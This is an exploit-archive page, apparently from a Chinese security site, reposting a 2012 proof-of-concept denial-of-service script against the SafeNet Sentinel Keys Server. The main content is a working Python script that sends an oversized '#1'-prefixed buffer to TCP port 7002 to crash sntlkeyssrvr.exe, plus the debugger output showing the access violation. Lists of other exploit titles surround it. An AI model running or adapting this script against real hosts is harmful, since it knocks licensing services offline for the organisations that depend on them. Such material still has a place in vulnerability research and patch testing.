首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SafeNet Sentinel Keys Server Crash PoC
来源:https://twitter.com/ret5et 作者:retset 发布时间:2012-09-25  

# Exploit Title: SafeNet Sentinel Keys Server DoS
# Date: 10 Sep 2012
# Exploit Author:  retset (https://twitter.com/ret5et)
# Vendor Homepage: http://www.safenet-inc.com/
# Version: Sentinel Protection Installer  v7.6.5 (sntlkeyssrvr.exe ver. 1.3.1.3)
# Download link: http://c3.safenet-inc.com/downloads/8/0/804F8C5F-F88F-4443-8871-2AD993DC33DB/Sentinel%20Protection%20Installer%207.6.5.exe
# Download link: http://www.safenet-inc.com/support-downloads/sentinel-drivers/
# Tested on: Xp Sp3

import socket
import sys

if len(sys.argv) < 2:
 print "usage: %s host"  % sys.argv[0]
 sys.exit(0)

host = sys.argv[1]
print host
req  = "#1"
req += 'A' *0x4093

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,7002))
s.send(req)
s.close()


"""
(5ec.6f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0045011c ecx=00000003 edx=00b6bf83 esi=00b70000 edi=0045011c
eip=0040f89b esp=00b65864 ebp=0000407d iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Common Files\SafeNet Sentinel\Sentinel Keys Server\sntlkeyssrvr.exe
sntlkeyssrvr+0xf89b:
0040f89b f3a6            repe cmps byte ptr [esi],byte ptr es:[edi]
"""


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ACDSee PRO .GIF Processing Mem
·QNX QCONN Remote Command Execu
·ZEN Load Balancer Filelog Comm
·Guacamole 0.6.0 Buffer Overflo
·NTR ActiveX Control Check() Me
·Counter Strike Servers Remote
·NTR ActiveX Control StopModule
·HP ALM Remote Code Execution
·Golden Al-Wafi Translator 1.12
·Auxilium RateMyPet Arbitrary F
·Thomson Wireless VoIP Cable Mo
·Samba 3.x Remote Root
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved